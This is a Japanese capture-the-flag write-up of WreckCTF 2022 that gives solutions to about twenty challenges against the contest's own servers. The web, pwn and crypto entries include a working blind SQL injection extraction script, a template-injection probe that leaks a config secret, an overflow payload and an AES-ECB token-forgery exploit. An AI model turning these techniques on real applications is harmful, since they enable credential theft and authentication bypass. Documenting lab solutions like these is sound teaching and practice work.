この大会は2022/10/1 5:00(JST)~2022/10/3 5:00(JST)に開催されました。
今回もチームで参戦。結果は4931点で524チーム中38位でした。
自分で解けた問題をWriteupとして書いておきます。
smoke-check (misc)
flag.txtにフラグが書いてあった。
flag{this_is_what_flags_look_like}
discord (misc)
Discordに入り、#announcementsチャネルを見ると、フラグが書いてあった。
flag{this_is_the_discord_flag}
sources (web)
HTMLソースを見ると、コメントにフラグの一部が書いてあった。
<!-- flag part 1: flag{bd6a9e3f -->
さらにリンクされているstyle.cssを見てみると、やはりフラグの一部が書いてある。
/* flag part 2: 1690f7ab */
最後にリンクされているscript.jsを見てみると、最後のフラグの一部が書いてあった。
// flag part 3: b8445c0e}
flag{bd6a9e3f1690f7abb8445c0e}
bash (misc)
$ nc challs.wreckctf.com 31106 $ ls flag.txt run $ cat flag.txt flag{cat_the_flag}
flag{cat_the_flag}
spin (crypto)
アルファベット小文字のみ、43、実質17シフトする。
#!/usr/bin/env python3 def rev_spin(c, key): return chr((ord(c) - ord('a') + key) % 26 + ord('a')) ciphertext = 'oujp{xkurpjcxah_ljnbja_lryqna}' flag = ''.join( rev_spin(c, 43) if 'a' <= c <= 'z' else c for c in ciphertext ) print(flag)
flag{obligatory_caesar_cipher}
password-1 (web)
コードに以下の部分がある。
@server.get('/api/output', c_type='text/plain') async def flag(request): del request return (200, FLAG)
https://password-1.challs.wreckctf.com/api/outputにアクセスすると、フラグが表示された。
flag{why_is_hashing_in_browser_so_hard}
baby-rsa (crypto)
n, p, e, cがわかっているので、通常通り復号できる。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' ')[-1]) p = int(params[1].split(' ')[-1]) c = int(params[2].split(' ')[-1]) e = 65537 q = n // p assert n == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
flag{omg_its_rsa}
flag-checker (rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; size_t sVar2; long in_FS_OFFSET; char local_48 [3]; char acStack69 [3]; char acStack66 [3]; char acStack63 [3]; char acStack60 [3]; char acStack57 [3]; char acStack54 [3]; char acStack51 [3]; char acStack48 [3]; char acStack45 [3]; char acStack42 [3]; char acStack39 [3]; char acStack36 [3]; char local_21; undefined local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); fgets(local_48,0x29,stdin); local_20 = 0; sVar2 = strlen(local_48); if (sVar2 != 0x28) { bad(); } iVar1 = strncmp(acStack42,"d94",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack66,"db_",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack54,"35t",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack60,"y0u",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack63,"1s_",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack45,"d_6",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack69,"g{g",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack51,"_fr",3); if (iVar1 != 0) { bad(); } if (local_21 != '}') { bad(); } iVar1 = strncmp(acStack48,"13n",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack36,"fa6",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack57,"r_b",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(acStack39,"620",3); if (iVar1 != 0) { bad(); } iVar1 = strncmp(local_48,"fla",3); if (iVar1 != 0) { bad(); } puts("Nice job! Submit your answer as the flag."); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
local_48から必要な条件を結合していく。
flag{gdb_1s_y0ur_b35t_fr13nd_6d94620fa6}
notes-1 (web)
/vied/[id]で該当するデータを見れる。idは番号のsha256になっていて、flagはid: 0で登録されているはず。
$ echo -n 0 | sha256sum 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9 -
https://notes-1.challs.wreckctf.com/view/5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9にアクセスしたら、フラグが表示された。
flag{technically_a_vulnerability}
advanced-flag-checker (rev)
Ghidraでデコンパイルする。
void entry(void) { code *pcVar1; int *extraout_ECX; pcVar1 = (code *)swi(0x80); (*pcVar1)(); pcVar1 = (code *)swi(0x80); (*pcVar1)(); *(undefined *)(extraout_ECX + 10) = 0; if ((((((*extraout_ECX == 0x67616c66) && (extraout_ECX[1] == 0x706f687b)) && (extraout_ECX[2] == 0x6f795f65)) && ((extraout_ECX[3] == 0x73755f75 && (extraout_ECX[4] == 0x7a5f6465)))) && ((extraout_ECX[5] == 0x6f665f33 && ((extraout_ECX[6] == 0x68745f72 && (extraout_ECX[7] == 0x315f7369)))))) && ((extraout_ECX[8] == 0x31633832 && (extraout_ECX[9] == 0x7d376433)))) { pcVar1 = (code *)swi(0x80); (*pcVar1)(); pcVar1 = (code *)swi(0x80); (*pcVar1)(); } pcVar1 = (code *)swi(0x80); (*pcVar1)(); pcVar1 = (code *)swi(0x80); (*pcVar1)(); /* WARNING: Bad instruction - Truncating control flow here */ halt_baddata(); }
この条件を満たす数値を文字にして、結合していく。
#!/usr/bin/env python3 codes = [0x67616c66, 0x706f687b, 0x6f795f65, 0x73755f75, 0x7a5f6465, 0x6f665f33, 0x68745f72, 0x315f7369, 0x31633832, 0x7d376433] flag = b'' for code in codes: flag += code.to_bytes(4, byteorder='little') flag = flag.decode() print(flag)
flag{hope_you_used_z3_for_this_128c13d7}
blog (web)
New QuestionのTitleに {{7*7}} と入力してSaveすると、Post 49 created successfully.と表示される。
今度は {{config}} と入力してみると、以下のように表示された。
Post "<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': "flag{I'm_not_real_:)}", 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': None, 'JSON_SORT_KEYS': None, 'JSONIFY_PRETTYPRINT_REGULAR': None, 'JSONIFY_MIMETYPE': None, 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>" created successfully.
SECRET_KEYにフラグが設定されている。
flag{I'm_not_real_:)}
login (pwn)
BOFで、15バイト+終端文字を2回同じものを繰り返し入力し、パスワードが一致するようにする。
#!/usr/bin/env python3 from pwn import * p = remote('challs.wreckctf.com', 31009) data = p.recvline().decode().rstrip() print(data) payload = (b'A' * 15 + b'\x00') * 2 print(payload) p.sendline(payload) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to challs.wreckctf.com on port 31009: Done Input password b'AAAAAAAAAAAAAAA\x00AAAAAAAAAAAAAAA\x00' flag{i_wish_could_gets_more_runes} [*] Closed connection to challs.wreckctf.com port 31009
flag{i_wish_could_gets_more_runes}
password-3 (web)
ログイン成功、失敗しかわからない。パスワードテーブルにフラグが入っているので、Blind SQL Injectionで求める。
#!/usr/bin/env python3 import requests import json url = 'https://password-3.challs.wreckctf.com/password' headers = {"Content-Type": "application/json"} flag_len = -1 for i in range(1, 100): data = {"password": "' or (SELECT length(password) FROM passwords" + " LIMIT 3, 1) = " + str(i) + " --"} r = requests.post(url, data=json.dumps(data), headers=headers) if 'Congrats' in r.text: flag_len = i break print('[+] flag length is:', flag_len) flag = '' for i in range(1, flag_len + 1): for code in range(33, 127): data = {"password": "' or SUBSTR((SELECT password FROM passwords" + " LIMIT 3, 1)," + str(i) + ",1) = '" + chr(code) + "' --"} r = requests.post(url, data=json.dumps(data), headers=headers) if 'Congrats' in r.text: flag += chr(code) break print('[+] flag:', flag) print('[*] flag:', flag)
実行結果は以下の通り。
[+] flag length is: 29 [+] flag: f [+] flag: fl [+] flag: fla [+] flag: flag [+] flag: flag{ [+] flag: flag{w [+] flag: flag{wh [+] flag: flag{whe [+] flag: flag{whee [+] flag: flag{whee_ [+] flag: flag{whee_b [+] flag: flag{whee_bi [+] flag: flag{whee_bin [+] flag: flag{whee_bina [+] flag: flag{whee_binar [+] flag: flag{whee_binary [+] flag: flag{whee_binary_ [+] flag: flag{whee_binary_s [+] flag: flag{whee_binary_se [+] flag: flag{whee_binary_sea [+] flag: flag{whee_binary_sear [+] flag: flag{whee_binary_searc [+] flag: flag{whee_binary_search [+] flag: flag{whee_binary_search_ [+] flag: flag{whee_binary_search_s [+] flag: flag{whee_binary_search_sq [+] flag: flag{whee_binary_search_sql [+] flag: flag{whee_binary_search_sqli [+] flag: flag{whee_binary_search_sqli} [*] flag: flag{whee_binary_search_sqli}
flag{whee_binary_search_sqli}
reverser (rev)
問題のスクリプトは以下のようになっている。
#!/usr/local/bin/python import os def check_license(license): characters = set('0123456789abcdef') s = [9] for c in license: if c not in characters: return False s.append((s[-1] + int(c, 16)) % 16) target = '51c49a1a00647b037f5f3d5c878eb656' return ''.join(f'{c:x}' for c in s[1:]) == target print('welcome to reverser as a service!') license = input('please enter your license key: ') if not check_license(license): print('sorry, incorrect key!') exit() string = input('what should i reverse? ') print(f'output: {string[::-1]}') print(os.environ.get('FLAG', 'no flag given'))
check_licenseの内容から逆算し、licenseを算出する。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) target = '51c49a1a00647b037f5f3d5c878eb656' s = [9] license = '' for c in target: license += hex((int(c, 16) - s[-1]) % 16)[2:] s.append(int(c, 16)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.wreckctf.com', 31706)) data = recvuntil(s, b': ') print(data + license) s.sendall(license.encode() + b'\n') data = recvuntil(s, b'? ') print(data + license) s.sendall(license.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
welcome to reverser as a service! please enter your license key: ccb85179606e3453486a4a87cf16dbf1 what should i reverse? ccb85179606e3453486a4a87cf16dbf1 output: 1fbd61fc78a4a6843543e60697158bcc flag{clock_math_too_hard}
flag{clock_math_too_hard}
barcode (misc)
横に白が0、黒が1で2進数にし、デコードする。
#!/usr/bin/env python3 from PIL import Image img = Image.open('output.png').convert('RGB') w, h = img.size STRIPE_WIDTH = 16 bin_flag = '' for x in range(0, w, STRIPE_WIDTH): r, g, b = img.getpixel((x, 0)) if r == 0 and g == 0 and b == 0: bin_flag += '1' else: bin_flag += '0' flag = '' for i in range(0, len(bin_flag), 8): flag += chr(int(bin_flag[i:i+8], 2)) print(flag)
flag{not_really_a_barcode_i_guess}
my-frob (rev)
Ghidraでデコンパイルする。
undefined8 main(void) { char cVar1; char *__s; size_t sVar2; int local_10; int local_c; __s = (char *)load_flag(); local_c = 1; local_10 = 1; while (local_10 != 0xe9) { sVar2 = strlen(__s); my_memfrob(__s,sVar2,local_10); cVar1 = (char)local_10; local_10 = local_10 + local_c; local_c = (int)cVar1; } print(__s); return 0; } void * load_flag(void) { FILE *__stream; size_t __n; void *__ptr; __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { /* WARNING: Subroutine does not return */ exit(1); } fseek(__stream,0,2); __n = ftell(__stream); fseek(__stream,0,0); __ptr = malloc(__n + 1); if (__ptr == (void *)0x0) { /* WARNING: Subroutine does not return */ exit(1); } *(undefined *)((long)__ptr + __n) = 0; fread(__ptr,1,__n,__stream); fclose(__stream); return __ptr; } void my_memfrob(long param_1,ulong param_2,byte param_3) { int local_c; for (local_c = 0; (ulong)(long)local_c < param_2; local_c = local_c + 1) { *(byte *)(param_1 + local_c) = *(byte *)(param_1 + local_c) ^ param_3; } return; }
表示された16進数を算出したkeyとXORをする。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.wreckctf.com', 31618)) data = recvuntil(s, b'\n').rstrip() print(data) codes = [int(c, 16) for c in data.split(' ')] key = 0 local_c = 1 local_10 = 1 while local_10 != 0xe9: key ^= local_10 cVar1 = local_10 local_10 += local_c local_c = cVar1 flag = '' for code in codes: flag += chr(code ^ key) print(flag)
実行結果は以下の通り。
af a5 a8 ae b2 a5 a0 a7 bc b1 96 ba a1 a6 bc a5 ad 96 a8 ad ad 96 a4 b0 96 a4 ac a4 af bb a6 ab b4 flag{linux_should_add_my_memfrob}
flag{linux_should_add_my_memfrob}
mtp (crypto)
サーバの処理概要は以下の通り。
・LETTERS: アルファベット小文字 ・key: 0~25のリストの256個のリスト ・keyの要素リストの中をシャッフル ・以下繰り返し ・choice: 入力 ・choiceが'1'の場合 ・plaintext: 入力 ・choiceが'2'の場合 ・plaintext: FLAG ・encrypt(plaintext, key)を表示
同じ位置の文字は換字暗号になっているので、一文字ずつ総当たりで復号する。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) LETTERS = list('abcdefghijklmnopqrstuvwxyz') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.wreckctf.com', 31239)) data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'\n').rstrip() print(data) flag_enc = data.split(' ')[-1] flag = '' for i in range(len(flag_enc)): if flag_enc[i] not in LETTERS: flag += flag_enc[i] continue for c in LETTERS: plaintext = flag + c data = recvuntil(s, b'> ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'? ') print(data + plaintext) s.sendall(plaintext.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) enc = data.split(' ')[-1] if enc == flag_enc[:i+1]: flag += c break print(flag)
実行結果は以下の通り。
Welcome to the Multi-Time Pad! 1. Encrypt message 2. Get flag > 2 Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxbi} : 1. Encrypt message 2. Get flag > 1 What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbkn Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxi 1. Encrypt message 2. Get flag > 1 What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbko Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxb 1. Encrypt message 2. Get flag > 1 What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbkoa Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxbm 1. Encrypt message 2. Get flag > 1 What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbkob Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxbr 1. Encrypt message 2. Get flag > 1 What's your message? flag{oops_key_reuse_bwcjpqdweoclkwlbkoc Result: szyf{cloy_joa_mrqch_svpjsbsaeihpjpztxbi flag{oops_key_reuse_bwcjpqdweoclkwlbkoc}
flag{oops_key_reuse_bwcjpqdweoclkwlbkoc}
token (crypto)
サーバの処理概要は以下の通り。
・KEY: ランダム16進数文字列32バイト ・以下繰り返し ・value: 入力 ・valueが'1'の場合 ・token: 入力(16進数表記) ・name: tokenをhexデコードし、AES-ECB復号し、アンパッドする。 ・nameが"gary"の場合、フラグを表示 ・valueが'2'の場合 ・name: 入力 ・nameが"gary"以外の場合、パディングして、AES-ECB暗号して表示
16バイト+"gary"を暗号化して、2ブロック目を復号すれば"gary"になることを使って、フラグを取得する。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.wreckctf.com', 31522)) data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') name = 'A' * 16 + 'gary' data = recvuntil(s, b': ') print(data + name) s.sendall(name.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) token = data.split(' ')[-1] data = recvuntil(s, b'> ') print(data + '1') s.sendall(b'1\n') token = token[32:] data = recvuntil(s, b': ') print(data + token) s.sendall(token.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
welcome to the flag viewer! 1. view flag 2. generate token > 2 name: AAAAAAAAAAAAAAAAgary here's your token: d1724cdf290a3d219e845451775c91c6ace0890a3912d161e55b9a6bfcbefc14 1. view flag 2. generate token > 1 token: ace0890a3912d161e55b9a6bfcbefc14 flag{gary_gary_gary_gary_gary_gary}
flag{gary_gary_gary_gary_gary_gary}